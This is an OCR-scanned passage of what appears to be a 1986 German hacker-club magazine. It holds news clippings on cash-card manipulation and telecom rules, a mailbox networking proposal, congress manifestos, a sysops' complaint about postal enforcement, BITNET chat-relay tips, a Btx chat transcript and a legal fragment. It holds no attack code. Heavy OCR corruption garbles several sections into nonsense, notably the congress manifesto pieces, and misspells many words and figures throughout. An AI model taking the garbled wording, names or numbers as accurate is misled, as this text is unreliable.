grenzt werden. Die Handbücher zur Polizeiverwendung wurden 
wiedergefunden. Derzeit wird das Material aufgebügelt. 
SCHECKKARTEN KÖLN - "Zwei Kölner haben durch Manipu-
lationen an Geldautomaten einen Schaden von 80.000.- DM 
verursacht. Der für den technischen Teil „verantwortlich" be-
zeichnete sich in der Vernehmung als .Computer-Freak". Er ha-
be die Arbeit am Heimcomputer als Hobby betrieben. Zu den 
Experimenten mit Scheckkarten sei er durch eine Fernsehsen-
dung angeregt worden." So die Pressestfelle der Polizei in Köln 
am 29.1.8(5. 
Auch beim CCC in Homburg laufen Anfragen von durch Mani-
pulationen betroffenen sowie von wissenschaftlich Arbeitenden 
zu diesem Themenbereich auf. Ein Beitrag über Technik und ge-
setzliche Grundlagen ist für die HABI Teil 2 vorgesehen (next 
year). 
AKTIVITÄTEN — Für Datenschleuder 16 ist eine Obersicht von 
Adressen, Gruppen und Treffen Datenreisender geplont. Alle 
Gruppen seien gebeten, eine kurze Selbstdarsfellung über ihre 
Anliegen, Konlaktodresse und elektronische Anschrift an die 
Leitstelle 1188 einzusenden. 
POST B O N N — Das Referat 2640 des Bundespostministeriums 
stellte zum November 85 den Entwurf zur Telekommunikation-
sordnung (TKOJ vor. Wichtigste Neuerung ist die Unterschei-
dung zwischen .Anschluß" (die Dose von der Post) und .Endstel-
le" (Akustilckoppler, Modem oder Telefon!}, wobei die Endstelle 
auch feilnehmereigen sein kann. Die Endstelle (Telefonapparat) 
oder Teile (Gebührenzähler) davon sollen zukünftig keine for-
malen Bestandteile des Anschlusses sein. Der Anschluß wird da-
nach unterschieden, ob er eine „einfache Endstelle" oder aber 
für eine .Anlage", die Vermittlungs-, Verteil-, oder Konzentra-
torfunktionen übernimmt (Mailbox?], bestimmt ist. Danach, und 
nach den in Anspruch genommenen Vermittlungs- u. o. Verteil-
dienstleistungen z. B. Bildschirmtext, Teletex oder ISDN sollen 
die Gebühren berechnet werden. Wer seine HARDWARE nicht 
von der Post bezieht, spart. 
W i e bisher sollen private Endeinrichtungen (Datenklos, Mo-
demkarten), die eine Teilnahme am öffentlichen Telekommuni-
kationsdiensten ermöglicht, zugelassen sein. Zuständig ist wei-
terhin das ZZF, das eine .Benutzungserlaubnis" erteilt. Die DBP 
will jedoch für eine Reihe von Endstelleneinrichtungen Ausnah-
men zulassen. Eine .Verwaltungsanweisung" regelt näheres. Es 
ist z. B. sich das Recht auf Abschaltung bei Mängeln vor. 
Die TKO soll 1988 die Rechtsgrundlage für eine längst überfälli-
ge Liberalisierung im Fernmeldewesen schaffen. Die geplanten 
Änderungen sollten aber nicht davon ablenken, daß in diesen 
Tagen immer roch Mai lboxbetre iber, die mit ungeprüftem Ge-
rät arbeiten, Besuch vom Gi lb erhalten. 
Dieses als kurzer Abriß, mehr später! LS23 
Steffi 15.ws 860323 01 

Kleine Fische 
Intermail — Vernetzung der lokalen Systeme 
Zukunftsorientierte Datenkommunikation betreiben bedeutet 
heute, an der Schwelle zum Informatronszeitafter, daß die Ver-
netzung der bestehenden Systeme vorangetrieben werden 
muss. Umfassende Information setzt umfassende Vernetzung 
der verschiedensten Informationsysteme voraus. Bislang waren 
die sogenannten Low-Cost-Systeme, also von privat betriebene 
Mailboxen auf Home- und Personalcomputern von dieser Ent-
wicklung ausgeschlossen. Das sofl sich schon in nächster Zu-
kunft ändern, um auch dem 'Ot to Normaluser1 die vernetzte 
Welt der Daten erschließen. 
Bereits seit einiger Zeit existiert in Hamburg eine lose Gruppie-
rung von Betreibern privater Low-Cost-Boxen, die unter dem 
Namen BulJeh'nboard Service Hamburg versucht, Ordnung ins 
Chaos zu bringen und durch gemeinsame Anstrengungen der 
Sysops Schritte in dieser Richtung zu machen. 
Auf dem CCC85 wurde erttmols ein Vorschlag 2ur Vernetzung 
der lokalen Systeme mit dem Arbeitstitel 'Intermail' vorgestellt. 
Es handelt sich hierbei um ein Konzept, das innerholb der kom-
merziellen Mailboxsysteme bereits realisiert ist und dort zu den 
Standarddienstleistungen gehört. Intermail erlaubt das Versen-
den persönlicher Nachrichten an andere User, ohne daß diese 
zwangsläufig in allen lokalen Boxen vertreten sein müßen. Es 
genügt völlig, in einer Mailbox als Benutzer eingetragen zu 
sein, um von jedem anderen User der anderen Boxen ange-
schrieben werden zu können. Der Vorteil liegt auf der Hand. 
Wer bisher als engagierter Nutzer der lokalen Systeme gez-
wungen war, mehr oder weniger regelmäßig in allen Boxen ver-
treten zu sein, kann sich nunmehr darauf beschränken, die für 
ihn persönlich wichtigsten onzurufen. 
Technisch realisiert wird intermail durch einen eigenständigen 
Rechner, Intermailcontroller oder kurz IMC genannt. Dieser 
fragt regelmäßig zu festgelegten Zeiten die lokalen Systeme 
auf vorhanden Intermail ab, verarbeitet diese und verteilt sie 
wieder. Natürlich kostet so etwas Geld, in einem regionalen 
Netzwerk mit zehn Mailboxen follen bei täglichem Update 
durch den IMC rund 130.- DM pro Monat an, selbst wenn keine 
Nachricht verarbeitet werden muß. Daraus folgt zwangsläufig 
der Schluß, daß Intermail nur dann sinnvoll ist, wenn ausrei-
chend zahlende User daran teilnehmen. Nach Schätzungen der 
Homburger Arbeitsgruppe funktioniert Intermail kostendec-
kend, wenn rund dreißig User mit monatlichen Beitrögen von 
vier bis fünf DM dabei sind. 
In der Praxis sieht die ganze Geschichte nun so ous, doß das 
Konzept Intermail bereits weitgehend realisiert ist. Die ersten 
Probeläufe sind abgeschlossen und bis spätestens Mitte Fe-
bruarw i rd Intermail in Hamburg als Dienstleistung für die Nut-
zer der privaten Systeme zur Verfügung stehen. Selbstverständ-
lich wird das Intermail-System allen interessierten Betreibern 
zugänglich gemacht werden. Ansprechpartner hierfür ist der 
BBSH, zu erreichen über die CUNCH-Box Hamburg. 
interml5 861306 2035 gobiin 
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Der Congress 
i n i 

tanzt 
Früher u t r Air Tanz Ttusdrtck »kEver Kownu-
«ikatioat ein OH dar KoatakhulaaFiaat Uber 91-
ografuche G reize» hinweg. Jetzt hat der CCC 
•ine* Bodta btrciiti,auf den titli zur Jahreswen-
de Sjiopt, Dafeweis««der Phrtakt und »ädert 
Kommumkafumsbegebterte Ui Eidcbtädier Bik-
gerhaus zum Tanz auffordern können. 
D»i Motto: Du darbt 
Die Message: Benutzt die Heuen Medien! 
W r wollen den weder durch Preis-noch durch 
Zensurschranken jehtnderten Fluß der Informa-
tionen. W r wollen Datenbanken. |efuHl mit 
relevanter Information. Wir wollen Knoten-
punkte einrichten; vorhandene unterstützen und 
untereinander vernetzen. Ein Marktplatz der 
freien Information mit Anschluß an die Well. 
Herrschende Institutionen haben sich nichl auf 
die neuen Medien jestürzt, um den freien Infor-
mationsaustausch zu fordern, sondern um diese 
Medien zu kommerzialisieren und ihren Interes-
sen dienstbar zu machen. Wir haben andere 
Interessen. 

Davor hat der Große Susop elriije Stolpersteini 
«elejt, in Form der POST und der etablierten 
InformaUonswirUchaft, die eifersüchtig ihr« 
Pfründe bewachen. 

Dia geplante Nov* Hier ung dar Gesetze über die 
U HschafükriminaKüt und die Angst des Esta-
blishment vor mündigen - »rieh informierten 
Bürgern traien auch nicht dazu bei, einen wirk-
lich freien Informationsaustausch zu armöfH-
chen. Aber nichl genug, schlichtes Unwitsen, die 
oft unnötig komplizierte Bedienung der techni-
schen Einrichtungen und eine diffuse Angst vor 
dem Jobkiller Computer machen Aufklärungs-
arbeit nötig, 
Hier bittet der Congress zum Tanz. Mir wollen 
voneinander lernen, nicht nur den Umgang mit 
der Technik, sondern auch mit uns. Wir können 
lernen, Schwellenängste zu überwinden und die 
bestehenden Einrichtung en zur Verbreitung uli-
ehe mm t er Information zu nutzen, con-
nz.ws8S1228 230S 
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Fre ihe i t is t lernbar 
" C o a p u t o i n d ie H a i d des V o l k e s " , das o a i ( 
1S7 ( H t k a b r t r o i u f i c B Ü r r S a t z . I S 8 5 I i i der 
H t i i u i a ) u h r a u l ( t k s t j m l i j l 
Die einen wissen »war, wie de mit der Compu-
tertechnik Herrtchaft absichern und erweitem 
können, ändert d i f t ten empfinden erhabene 
Gefühle, wenn es nach Monaten feI injt ,M Utters 
Haushaltskasse auf dem C'64 zu implementieren. 
Uber allem wabert ein irrealer Computermythoi 
- er umiibt selbst denjeniien, der nur vorjibt, 
etwas von ihr zu verstehen, mit der Dura des 
Erleuchteten 
Ist die Anist vor dem Computer ein Eriiehunjs-
mHtr] für Hasscnfesellschaften? Also, "wenn ihr 
nichl artig seid, holleuch d u jroße schwarze 
ComvuterunjeheueH" 
Auf dem CCC'85 wurde deuÜfch, daß die Ver-
netzunf von Mikrocomputern die Perspektive 
einer lokal autonomen Gesellschaft durch kikal 
autonome Technik in sich b r j t Aber die Nebe 
entliehen in den Köpfen der M entchen - sie ihid 
ein W fllensakt - keine Fraje technischer Reali-
sierbarkeit. Ohne soziale Zusammenhat)] e, ohne 
femeinsame Interessen und Ziele wird ein alter-
native] Computemetz tum Btx degenerieren. 
Untere Netze brauchen "seltsame , konsequent 
subjektive und poetische Informationen - ein 
spannender und menschlicher Kontrast zu bü-
rokratischen Datennetzen. 
Deutsche Hacker, Dichter, Denker, Jede philo-
»phkeht Schule ist seil dem Altertum auch 
immer eine Denkformatierunf fewesen. Unsere 
F ormatienmien sind rein technischer Natur. D ie 
Gedanken im Netz sind frei Freiheit ist lernbar. 
Die Freiheit, die wir anbieten, ist die des Infor-
mallonswtrtes. Eine leidenschaftlich «estellte 
Fraj« ist so labern wart vi* eine vwblndliche 
Antwort 

In diesem Sinne verstehen wir auch Schuluni-
sprojramme für Netzwerken Nachbarschaftshil-
fe im flobalen Dorf statt Schuk der Nation. 
Praktisch: der Anbieter eines Schulunispro-

Jrammts weiß, daß «eine Schüler heute schon 
essere Lbtunten rinden können. 

Die Aujjabe des Netzwerkers ist, sein Wissen 
und seine Technik anderen Nicht-Computer-
Fachleulen weiter zu feien. Nur so laßt sich der 
(be-)herrschende Camputermutho: aufläsen. 
Niemand toll seinen Computer küssen. Netzuer 
ke sind menschlich, 
oiedien.ws 8S1228 

Luft ige D a t e n m i t P o c k e t R a d i o 
Stándi j umlajert war die Funkmailbox DL 0 
CCC-1 auf dem CCC8S. M H 1200 Baud macht 
sie "Dato ; " im Luftverkehr. Die benutzte Norm 
fet AX25, die Amateurfunkversion von X.25. 
Mit ihr kann jeder Funkamateur weltweil adres-
siert werden. Beider Postnorm X.25 können die 
DaUnpäckchen an höchstens 256 Empfänjer 
adressiert werden. UbertntfuTijsfehler werden 
wie bei Datex X.25 erkannt. Auf H 4 Í 7 S MHz 
war die luftise Box wahrend des CCC'85 fast 
ständij in Betrieb. 

Einfesetzt werden außer "Pockercomputern 
mit »nsejchlotjcnem 7911-Modem und Hand-
hinke etliche C64er mit w ild anj ebiuter Technik 
sowie die üblichen Sonderaufbauten. Als Stan-
dard existieren Komolettlösunjen für CPM-
Kisten und C64er als laufende Prolotupen Die 
Platinen werden jejenwärti j in Hamburg ent-
flochten. Neben dem UK W -Betrieb j ib l es auch 
weitreichende Datenverbindunjen auf Kurzwel-
le; oft in 300 Baud. 

Ein Besucher aus den USA sleDte eine Daten-
funkverbindun; über Kurzwelle zwischen USA 
und Nicaraiua vor: die Tekfonuerbindunien 
sind zu unzuverlässig Is5 
paeketl5.ws 851228 2209 

Eri Video über den Kongreß u r d vom Stadt-
jountal erstellt und ist über 
stadtjournal hambury rulschbahn 17 
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teL040/B6279 für ca. 30.-zu bestellen. 

Mai l toxiofWare, die zu einem jroßen Teil den 
IM CA/Geonet-Befehksatz verwendet und in 
Turbo «schrieben ist, ist zur Zeit im Apple-
Format (35 o, 80 Track) erhältlich. 140 KB 
Sourcelcxt für 75.-. 
Infos unter 06151/784158 von 01 - 1 9 Uhr. 
schnipse-ws SS 122805:33e S e i t e 1 2 

MAILBOXEN SIND NICHT TOT-
ZUKRIEGEN 
auch wenn die Posi es versucht 

An olle User, Hacker, Cracker und DFO-Interessierten... Es 
geht um Eure Boxen und die neusten Aktivitäten der Deutschen 
BundesPOST! War die Datenfernübertragung (DFG) noch bis 
vor kurzem das Privileg von Firmen, Wissenschoflern, Staatsor-
ganen und einer finanziell begüterten Minderheil, hol sich dies 
im Laute der letzten Jahre dank stark gefallener Hord- und 
Software-Preise mit verbesserten Geräten und deren zuneh-
mender Verbreitung stark geändert! Vor ca. 2 Jahren kamen bei 
uns elektronische Briefkästen für JEDERMANN — die ersten 
Mailboxen — ouf. Es werden ständig mehr. Zumeist war Enthu-
siasmus und Liebe zum Hobby sowie die törichte Idee, Gebüh-
ren zu sparen, der Anlaß, SysOp zu werden und so ein Medium 
in die Dotenwelt 2u stellen. . . Verdienen tut daran nur die Post; 
der Betreiber muß ständig investieren und die Anrufer vertele-
fonieren. ca. 2-3000 DM pro Monat. Da diese Mailboxen, wie 
unaufwendig sie auch immer sind, Kosten verursacher und wir 
keine Millionäre sind, mußte der benötigte Rechner verbreitet, 
preiswert und flexibel sein — wie der Commodore C- 64 
(. . .auch wenn einige anderer Meinung sind)! Deshalb laufen in 
Deutschland etwa 90% der ca. 200 privaten Boxen auf C-64 mit 
1541 Floppy. Nun kommt des 'Bonner Pudels Kern': Der 64.er 
besitzt zwar eine Funkstör-FTZ-Nummer, aber nur eine serielle 
TTL-Schnittstelle. 

Das Btx-Modem DBT03 paßt mit einer Vierdrahtverbindung an 
den C64. Erlaubt ist das aber erst nach der neuen TKO ca. 1988. 
Die vormals karjerlich-japanische Post hat den Sprung zu Tele-
krotie schneller geschaft. Seit rund einem Jahr darf an japani-
sche Postdosen so ziemlich alles angeschlossen werden. Haupt-
sache, es geht nichts kaputt. Hier wird es, wie unser Postminister 
auf der Intermedia85 vortrug, noch Jahre dauern. Man hätte 
gerode erst neue Untersuchungen in Auftrag gegeben. Solange 
bemühe sich die Post um Flexibilität in der erwarteten Richtung. 
Der juristisch korrekte Abstand zwischen DIN-Stecker und der 
hoheitlichen Anschlußdose im ISDN-Format (das einzige, was 
von Btx bleibt) ist deshalb in Jahren der Toleranz bis zur Frei-
gabe zu bemessen. Solange liegt der Stecker aus Sicherheits-
gründen mahnend daneben. 

Viele der neuern Postmodems (nicht nur das DBT03) haben kei-
ne ordnungsgemässe V24 (RS232-C) Schnittstelle. Damit erge-
ben sich Unwägbarkeiten bei der POSTalischen Zulassung — 
der FTZ-Numtner. Das ist diese total unumgängliche Prüfnum-
mer für so hochtechnische Geräte wie z.B. eine Telefonsteckdo-
se usw.. Ein FTZ-geprüfter Kopplerdarf an eben diesem Rechner 
betrieben werden (Grund: der Rechner würde bei Fehlfunktion 
nur den Koppler, nicht aber das Welttelefonnetz zerstören) -
man muss nur 24 Std. täglich neben seinem Rechner sitzen und 
auf Telefonanrufe der User lauern, dann blitzschnell den Hörer 
hochreissen und ihn geschickt in die dafür vorgesehenen Gum-
mimuffen des Koppler bugsieren... 

Mi t mehr oder minder schlechter Obertragungsqualität kann 
dann der Dotentransfer durch die modernen POSTIeitungsnetze 
(teilweise nach vor 1938 verlegt) beginnen. Nun hatten einige 
dieser Mailbox- Betreiber ober noch einigen Togen und Näch-
ten des unermüdlichen .Durchwachens am Rechner den Wunsch 
nach Abhilfe! Besonders findige Köpfe bauten kranartige Ge-
bilde, die abenteuerliche Hebemecbonismen in Betrieb setzen, 
die die Arbeil des Hörer Abhebens usw. mehr oder weniger ge-
schickt ausführen. . , Seite 

Im Laufe der Zeit drang die Kunde von einem sogenannten Mo-
dem an die SysOp-Ohren. So ein Gerät ermöglichte neben dem 
Abnehmen eine wesentlich bessere Dctensicherheit! Also, 
nichts einfacher als das — besorgen wir uns so ein Modem. 
Aber, oh Schreck, man gibt uns keins, denn unser Rechner hat 
doch keine FTZ- Nummer (plötzlich braucht er die nämlich)!?! 
Ironie des Schicksals: die meisten FTZ-geprüften Koppler arbei-
ten auch mit RS232-Pege!n. Nun gibt es jo aber gottlob immer 
noch ein paar Stellen, die ähnliches ( manche behaupten sogar 
besseres) wie die POST anbieten.. , Das Zauberwort hiess DA-
TENKLO. Das Datenklo (oder ähnliches) konnte genau das was 
ein POSTmodem auszeichnete — und noch ein bißchen mehr. 
Gesagt — gekauft — installiert. Von nun an kloppte das mail-
boxen in Stadt und Land ganz gut und die POST konnte ständig 
wachsene Gebühreneinnahmen verbuchen. Alle waren zufrie-
den — bisher!!! 

Das scheint sich allerdings nun schlagartig zu ändern! Urplötz-
lich sprengen diese Mailboxen angeblich die POSTeigenen Ge-
rätschaften offensichtlich reihenweise... 
Der C-64 muss sich zu einer Art SS-20 in der Datentechnik ge-
mausert haben und ein Datenklo scheint es in seiner Wirkung 
mit Hiroshima aufzunehmen. Die Schäden im POSTalischen Ka-
belwold müssen verheerend sein! 

Denn in jüngster Zeit tauchen bei allen möglichen Mailbox-Be-
treibern Bedienstete von Herrn Schworz- Schilling ouf und neh-
men unter Bezug auf die gültige Fernmelde-Anlogen- Verord-
nung (sie hier zu zitieren würde mehrere KByte Speicherplatz 
kosten) eben diese Boxen ausser Betrieb! Letztes Beispiel: 
M.C.S. Hamburg, eine der ältesten Boxen in Deutschland über-
haupt. Hanglt es sich doch um eigenmächtige Eingriffe und 
Veränderungen POSTeigener Apparate. . . 
(Remark; Wer also sein Telefon mit einem nicht FTZ-geprüften 
Aufkleber versehen sollte macht sich nach Angaben vieler Post-
ler strafbar — xx) Die Kunde von solchem Handeln der Behörde 
oder war es doch nur ein Dienstleistungs-Unternehmen, kommt 
nun aus allen Teilen der Republik in rapide steigender Zahl. Der 
nette Vorschlag der Beamten zur Abhilfe lautet ungefähr so: 
"Schicken Sie doch einfach Ihren Rechner nebst einer nach unse-
ren Richtlinien gebauten RS 232-C Schnittstelle zur Ein2elab-
nahme an die FTZ- Vergabestelle nach Stuttgart. Dort stellt man 
dann schnellstens nach ca. 6 bis 9 monatiger Prüfung und gegen 
eine geringe Gebühr 
eventuell eine Einzelgenehmigung zum Betrieb mit einem bei 
uns gegen Gebühr leihbaren POSTmodem (DM 80,- /monatl.) 
aus! Eventuell ist dieses Modem dann sogar vorrätig!" Wirklich 
sehr hilfreich — oder??? 
Wir fragen nun Euch, die User, Hocker und Datenreisenden, 
muss das so sein und ist das wirklich olles richtig so!?! Kaum gibt 
es ein neues (im Ausland schon lange vorhandenes) Medium, so 
fühlen sich offensichtlich auch schon wieder einige höhrer 
Beamte um ihr Monopol betrogen. Es gibt ja schliesslich auch 
noch TELEBOX von der DBP, für gewerbliche Anwender ge-
plant. Leute die aus Spass an der Sache und ohne Kosten für 
andere Ideen verwirklichen sind dort aber auch nicht gefragt. 
Einige fürchten MÜSSEN DIE MEHLBOXEN SO SCHNELL 
SCHON WIEDER STERBEN? Aber die Mehlboxen sind ein klei-
nes Stück Freiheit und Freizeit und verbreiten siehe eher wie ein 
Virus mit West/Ost-Gefälle! hCW/85 Sy/RAMses 
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Bitnepp 
"FQr Immer wurde der Betrieb des Relays an der Cornell Universität in New York einge-
stellt"; so berichtete die dpa-Meldung vom .... 
Wir wissen nicht, wer ihnen diese freundliche Mitteilung überreicht hat, wir empfehlen 
'SEND/REM CORNELLC RLY' (ehemals CORNELLC MAS). 

Angeblich haben esdie Hackerdoch geschafft, 
über BITNET ganze Rechnernetze herunter-
zufahren und wichtige Dateien "unwissentlich 
vernichtet". Wilde Spekulationen über Pla-
nungen "elektronischer Bombeneinschläge" 
wurden in den Pressemeldungen verlautbart. 
Die "Hackergefahr kann nach Ansicht der Cor-
nell Uni nicht so groß gewesen sein, da das 
System bereits nach etwa drei Monaten unter 
geringfügig geändertem Namen wieder am 
Netz ning. 
Zu EARN/BITNET, um das es in diesem Zu-
sammenhang geht einige sachliche Anmer-
kungen: 
Tatsache ist, daß Dialoge auf EARN/BITNET 
(von IBM gesponsort) mittels Konferenzproto-
kollen ständig überwacht werden können und 
auch wurden. 
BITNET verbindet nahezu sämtliche Universi-
täten und Forschungszentren in den USA und 
Europa (über EARN = European Academic 
Research Network) und bietet JEDEM Benut-
zer der Rechner die Möglichkeit, Dateien mit 
JEDEM Benutzer desselben oder eines an-
deren Rechners übers Netz auszutauschen. 
Zur Förderung der Kommunikation wurde ein 
sog. "Interchat Relay Network" eingeführt, das 
online Konferenzschaltungen erlaubt. So ha-
ben sich zum Beispiel die Wissenschaftier, die 
die Giotto-Sonde zur Erforschung des Kome-
ten Hailey überwachten in der Zeit, in der sie 
nur darauf warteten, daß irgendetwas schief-
geht die Langeweile bei einem lockeren Chat 
vertrieben. 
Eben auf diesen "Relays" haben sich auch 
deutsche und Schweizer Hacker etabliert, um 
an den Gesprächen konstruktiv teilzunehmen. 
Es Ist also wie gesagt nicht möglich, auf frem-
den Rechnern Dateien zu löschen oder gar 
Betriebssystemkommandos auszuführen, d.h. 
die dpa-Pressemeldung lieferte einfach irre-
führende Informationen. 
Doch zurück zu BITNET/EARN: Der Schweizer 
Zentralknoten CEARN (Genf) ist mit Darm-
stadt, Paris, Rutherford, Rom und Stockholm 
direkt verbunden und führt via diese Knoten 
theoretisch direkt in die USA, z.B. an die Ge-
orge Washington University in New York, prak-
tisch klappt die Verbindung nicht immer rei-
bungslos (Murphy schlug bereits diverse Male 
zu). An EARN hängen z.B. (fast) alle deutschen 
Unis, das DESY in Hamburg, das DFVLR in 
München, Cern in der Schweiz und einige NA-
SA Rechner. Für Ottonormalforscher sind de-

rartige interessante Perspektiven völlig ver-
schlossen, Heinz Hacker wird von Netzbetrei-
bern immer noch ungern gesehen ("Fritz is 
online"). 
EARN/BITNET ist für jeden eine sehr interes-
sante Sache, denn neben lockeren Chats fin-
det speziell in den Konferenzen ein reger 
Know-How-Austausch statt, über letzteres ver-
fügen Hacker unbestritten ! 
Nebenbei: EARN wird von der 3-Buchstabsn-
Firma bis Ende 1987 finanziert, so daß es 
natürlich für diverse Forschungsinstitute in 
Deutschland kein Problem ist, sich (via Datex-
L) daran zu beteiligen, zumindest solange es 
sich um SNA-(un)fähige Systeme handelt. 
Nicht erstab 1988gilt also für IBM: "Let's EARN 
some moneyl", von der parasitären Know-
How-Beschaffung ganz abgesehen. 
Warum eigentlich den Hackern, den wahren 
Verfechtern der freien Kommunikation der Zu-
griff verweigert werden soll, ist nicht einzuse-
hen, denn unbestritten bleibt doch der For-
schungsauftrag der Hacker, der eine Teilnah-
me an diesem Netz geradezu zwingend vor-
schreibt I 
Zum Schluß noch ein paar Tips für jene Da-
tenreisenden, die über einen EARN oder BIT-
NET Zugang verfügen: 
Auf VAXen: SEND/REM CEARN RELAY in 
Europa oder SEND/REM BITNIC RELAY in 
USA, um an den Konferenzen teilzunehmen, 
dann /h für Help. 
Auf IBM/VM Kisten: TELL RELAY AT CEARN 
/h usw.l Empfehlenswert: das Relay an der 
Cornell-Uni sollte bevorzugt behandelt werden 
(CORNELLC RLY), ist aber nur zwischen 9:00 
pm und 6:00 am lokaler Zeit erreichbar. 
Aber keine elektronischen Bombeneinschläge 
planen oder gar Giotto auf dem Mars landen 
lassen, sonst wird die Cornell-Uni keine wei-
teren Studienbewerbungen mehr annehmen. 

FRIMP & VIC, (the Networker Crew) 
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Mailboxen im 
Btx-Wartesaal 

Über externe Rechner wurde In Bild-
schirmtext eine Dlalogmögllchkelt ge-
schaffen. 
Einen guten Eindruck gibt der folgende 
Dialogmitschnitt; die Btx-üblichen 
Verwaltungs- und Farbinformationen wur-
den gestrichen. 
Teilnehmer waren hallo und chaos-team 

001: Dialog-Beginn 14:55:25 
hallo aus HH 
hallo aus hh, hier ist das chaos-team. 
und welche Mission treibt euch hierher? 
wir testen die Wartezeiten 
(abgeschickt 14:58:22; angezeigt wurde durch 
Ubermittlungsfehler "Eilgabe abgeschickt" 
statt "Eingabe abgeschickt". Die Antwort traf 
um 15:01:03 ein.) 
na dann viel Spaß. Testet mal auch, wie oft 
man hier rausfliegt. Ich wurde heute schon 6 
mal hinausbefördert, aber das glauben die 
Veranstalter mir nicht. 
ß da ist der msg dienst im postsystem schneller 
und bald wohl auch preiswerter 
ganz sicher, aber nicht das Angebot 
wie endet der dialog, wenn du nicht mehr da 
bist (rausfliegst) für uns, merkt das system 
das? 
mein Partner sendet noch eine Mitt. ab, die 
nicht ankommt, ich erhalte eine Postseite mit: 
die Verbindung wurde unterbrochen aus tech-
nischen Gründen. 
ist bekannt, welche gebühren geplant sind? 
ich wei ß nur das, was am Anfang gesagt wird. 
0,08 pro Dialogschritt und 0,50 für den Ein-
stieg. 
0,07 kostet eine versendete msg über mail-
boxsysteme, der dialog dort in echtzeit 25 pfg 
die minute - welchen namen hat die system-
zentrale? 
weiß nicht, aber da sind meistens Beobachter 
im Programm unter ICR, Baff oder eine Kom-
bination davon. 
danke, dürfen wir diesen dialog veröffentli-
chen? 
gerne, wenn er aussagekräftig genug ist 
ok, wie beendet man den dialog? 
die nächste msg nicht absenden 

Um 15:22:14 konnten wir den zweiten und 
vorerst letzten Dialog beginnen. Ein Testlesen 
des Artikels dauerte xx Sekunden; per Btx ca. 
20 Minuten. 
/xW«s/btanbx16.wau 860401 19t1 
Glaube an neue Dienste 
Btx-Schwund statt Schwung bringt die neue 
Gebührenordnung. Zum Rückgang der An-
bieterzahlen meinte der Leiter des Fernmel-
deamtes in N. (Q:sz860701s26): "Man muß an 
neue Dienste glauben..." 

CCC auf kommerziellen Boxen 
- Rückschlag für private Be-
treiber ? 
"...aber in den Zentren keimt es. Einige Sysops ge-
stalten ihre rmationssysteme bewuat, sie agieren als 
elektronische Verleger." 
So stand es in DS14 in der Ankündigung des Chaos 
Communication Congress '85. Den lokalen Mailboxen 
wurde steigende Qualltat bescheinigt, das Bewusstsein 
der Betreiber für die Erfordernisse der Kommunika-
tionsgesellschaft sei gestiegen. 
Tatsachlich gibt es uberall in diesem unseren Lande 
Sysops, für die ihre Mailbox mehr ist, als nur eine 
elektronische Mullhalde. Diese Betreiber investieren 
sehr viel Zeit und noch mehr Geld in die Entwicklung der 
lokalen Systeme, um eine Angleichung an den Stan-
dard der kommerziellen Boxen zu erreichen, ja diesen 
Standard in der Hinsicht zu übertreffen, daa sie dem 
alten Grundsatz treu bleiben "Soviel Information wie 
möglich, so preiswert wie möglich". Dawerden mal eben 
10.000 DM in Hardware gesteckt, hunderte von Ar-
beitsstunden In Programmentwicklung investiert. Trei-
bende Kraft bei dieser Entwicklung war dabei auch der 
CCC, der immerwieder unablaaig forderte, die lokalen 
Systeme muaten weg von der CB-Mullbox, hin zum 
(semi-) professionellen Standard. Urdtatsachl ich fielen 
diese Anregungen bei etlichen Betreibern auf frucht-
baren Boden, inzwischen entstehen bundesweit uberall 
Systeme, die auf mehreren Leitungen gleichzeitig er-
reichbar sind, teilweise auch über Pattex-D. 
Das Hauptproblem für die Betreiber dieser Systeme ist 
dabei, dem Otto-Normal-User klarzumachen, daadiese 
qualitativ hochwertigen regionalen Systeme nicht mehr 
kostenlos zuganglich sein können, wenn allein die Fern-
meldegebuhren bis zu 400.- DM pro Monat betragen. 
Das ist angesichts der unzahligen C64-Boxen, die zum 
Nulltarif am Netz hangen, schon ein schwieriges Un-
terfangen, das nur durch die erhebliche Leistungsstei-
gerung gegenüber den herkömmlichen Systemen sinn-
voll und damit machbar wird. Nicht zu vergessen, daa 
die neuen regionalen und uberregionalen Boxen auch 
ein gutes Stuck mehr an informationeller Selbstbe-
stimmung bieten, denn es stecken ja immer noch die-
selben Leute dahinter, die im besten Sinne chaotischer 
Tradition agieren. In diese sehr schwierige Situation 
hinein platzt nun die Ankündigung des CCC, seinen 
Mitgliedern die Möglichkeit zu geben, ein kommerzielles 
Mailboxsystem für einen unglaublich gunstigen Preis zu 
nutzen. Das Ist auf den ersten Blick eine sensationelle 
Sache, denn bisher waren kommerzielle Boxen auf-
grund der hohen Monatsgebuhren für normale Sterb-
liche unerreichbar. Auf den zweiten Blick jedoch er-

eben sich daraus harte Konsequenzen für diejenigen 
ysops, die erade dabei sind, ihre Systeme, wie oben 

beschrieben, auszubauen, denn angesichts der neue-
sten Entwicklung erscheint es zunächst sinnlos, die 
Projekte weiterzufuhren. Wozu ein System errichten, 
dass dem Benutzer für fünf Mark im Monat ein Subset 
der Leistungen kommerzieller Boxen bietet, wenn für 
relativ geringe Mehrkosten der Zugang zu den kom-
merziellen Systemen offen ist? Zwar ist dafür die Mit-
gliedschaft im CCC notwendig, was bei den normalen 
Boxen nicht der Fall ist, aber es steht zu befurchten, daa 
es üblich wird, CCC-Mitglied zu werden, um in den 
Genuss der kommerziellen Box zu kommen. Diese 
Entwicklung kann .durchaus dazu fuhren, daa die au-
genblicklichen Versuche, eine autonome Informa-
tionsszene hohen Standards auzubauen, im Keime 
erstickt, oder zumindest auf lange Sicht behindert wer-
den und es stellt sich die Frage, ob das tatsachlich im 
Sinne des Chaos Computer Clubs ist. 

Mrivuie.di 66050? 2020 goblin 
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recht 
Zu Artikel 1 Nr . 5 — § 2 8 8 a S t G B — 

Neben einer redaktionel len K lars te l lung hat der 

Ausschuß die Überschrift erwei ter t Dadu rch soll 

vor a l lem die unterschiedl iche Schutzr ich tung zwi-

schen Abs. 1 und Abs. 2 noch stärker verdeut l icht 

werden. Während Absatz 2, w ie sich schon aus der 

Fassung ergibt, ein untreueähn l iches Verha l ten des 

Arbeitgebers (und der i hm durch § 14 S t G B gleich-

gestellten Personen) z um Nachtei l des Arbeitneh-

mers erfassen will, handel t es sich bei A b s i t z 1 (und 

ähnl ich bei Absatz 3) u m den Schutz der Solidarge-

meinschaft. Das Au f kommen der Sozialversiche-

rungsträger und der Bundesansta l t f ü r Arbei t soll 

dadurch strafrechtlich gewährleistet werden. Dies 

ist in Absatz 1 durch die Stre ichung e ingrenzender 

Merkma le des geltenden Rechts („erhalten", „einbe-

halten") verdeutl icht worden, wodurch sich Absatz 1 

bewußt von Absatz 2 untersche idet D a m i t können 

künft ig auch Fälle bestraft werden, in denen Arbeit-

